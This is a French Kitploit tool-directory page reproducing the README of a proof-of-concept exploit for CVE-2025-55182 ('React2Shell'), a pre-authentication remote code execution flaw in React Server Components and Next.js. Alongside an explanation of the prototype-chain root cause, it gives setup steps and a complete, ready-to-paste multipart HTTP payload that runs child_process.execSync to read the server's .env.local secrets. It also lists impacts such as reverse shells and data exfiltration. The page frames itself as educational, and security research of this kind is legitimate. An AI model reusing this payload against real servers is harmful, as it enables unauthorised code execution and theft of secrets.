Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc-cve-2025-55182 — Ce dépôt contient un POC de la CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance avant authentification affectant les React Server Components, également connue sous le nom de React2Shell. | Kitploit
Outils/GitHubGitHub/koadt/poc-cve-2025-55182
Analyse Dynamique (Sandboxing)Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub
15313il y a 6 moisPas encore vérifié
koadt/poc-cve-2025-55182

poc-cve-2025-55182

Ce dépôt contient un POC de la CVE-2025-55182, une vulnérabilité critique (score CVSS 10.0) d'exécution de code à distance avant authentification affectant les React Server Components, également connue sous le nom de React2Shell.

Voir le dépôtSite web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 (React2Shell) - Preuve de concept

⚠️ AVERTISSEMENT : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Aperçu

Ce dépôt contient une démonstration de preuve de concept de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance en pré-authentification affectant les React Server Components.

Score CVSS : 10.0 (Critique)

Versions affectées :

  • React Server Components 19.0.0, 19.1.0, 19.1.1 et 19.2.0
  • Paquets : react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

Résumé de la vulnérabilité

CVE-2025-55182 est une vulnérabilité de désérialisation non sécurisée dans l'implémentation du protocole Flight des React Server Components. Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code JavaScript arbitraire sur le serveur en créant des payloads malveillants qui exploitent la traversée de la chaîne de prototypes et des schémas d'accès aux propriétés non sécurisés.

Cause racine

La vulnérabilité provient de la façon dont les React Server Components désérialisent les payloads du protocole Flight. Lors du traitement des références de modules, le code utilise la notation par crochets pour accéder aux propriétés (moduleExports[metadata[2]]), ce qui parcourt toute la chaîne de prototypes JavaScript. Cela permet aux attaquants de référencer des propriétés qui n'étaient pas explicitement exportées, y compris la propriété constructor, qui donne accès au constructeur global Function.

En combinant des techniques de pollution de prototypes avec les mécanismes internes de traitement des chunks de React, un attaquant peut construire un payload qui finit par exécuter du code arbitraire via le constructeur Function.

Prérequis

  • Burp Suite Community ou Professional (ou tout proxy/client HTTP)
  • Une version vulnérable de React.js ou Next.js

Instructions de mise en place

Étape 1 : Créer un projet vulnérable

Créez un nouveau projet en utilisant une version qui inclut les React Server Components vulnérables :

npx [email protected] poc-react2shell
cd poc-react2shell

Ou utilisez ce dépôt.

Étape 2 : Créer un fichier d'environnement de test

Créez un fichier .env.local à la racine du projet pour démontrer l'impact de la vulnérabilité :

SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Étape 3 : Démarrer le serveur de développement

Lancez le serveur de développement Next.js :

npm run dev

Le serveur devrait démarrer sur http://localhost:3000.

Étapes d'exploitation

Étape 4 : Envoyer le payload malveillant

  1. Dans Burp Suite, allez dans l'onglet Repeater
  2. Définissez l'URL cible sur http://localhost:3000/
  3. Copiez et collez l'intégralité du payload dans la fenêtre de requête
  4. Envoyez
Cliquer pour déplier
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Étape 5 : Analyser la réponse

La réponse devrait contenir le contenu de votre fichier .env.local dans le corps de la réponse :

Réponse

Payload

Le payload est composé de trois champs de formulaire multipart :

Champ 0 : Un faux objet chunk contenant :

  • Des références de pollution de prototypes ($1:__proto__:then)
  • Une référence Blob ($B1337) qui déclenche l'exploit
  • Un objet _response pollué avec un _prefix malveillant et _formData.get

Champ 1 : Une référence au champ 0 ($@0)

Champ 2 : Un tableau vide ([])

Le code malveillant dans _prefix lit .env.local en utilisant child_process.execSync de Node.js et intègre le résultat dans un digest d'erreur.

Impact

Cette vulnérabilité permet aux attaquants de :

  • Exécuter du code arbitraire sur le serveur
  • Lire des fichiers sensibles (variables d'environnement, fichiers de configuration, etc.)
  • Établir des reverse shells
  • Exfiltrer des données
  • Effectuer toute opération que le processus Node.js est autorisé à exécuter

Références

  • Détails de CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • Avis de sécurité React
  • Avis de sécurité Facebook
  • Catalogue CISA des vulnérabilités exploitées connues
  • react2shellcve202555182

Entraînez-vous sur cette CVE dans un scénario réel

Vous voulez exploiter CVE-2025-55182 dans un environnement CTF pratique ? Découvrez OSS OopsSec Store, un laboratoire volontairement vulnérable conçu pour la formation en sécurité offensive. Cette CVE est implémentée comme l'un des flags !


Clause de non-responsabilité

Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité. Assurez-vous toujours d'avoir une autorisation écrite explicite avant de tester des vulnérabilités de sécurité sur un système.

Télécharger l’outil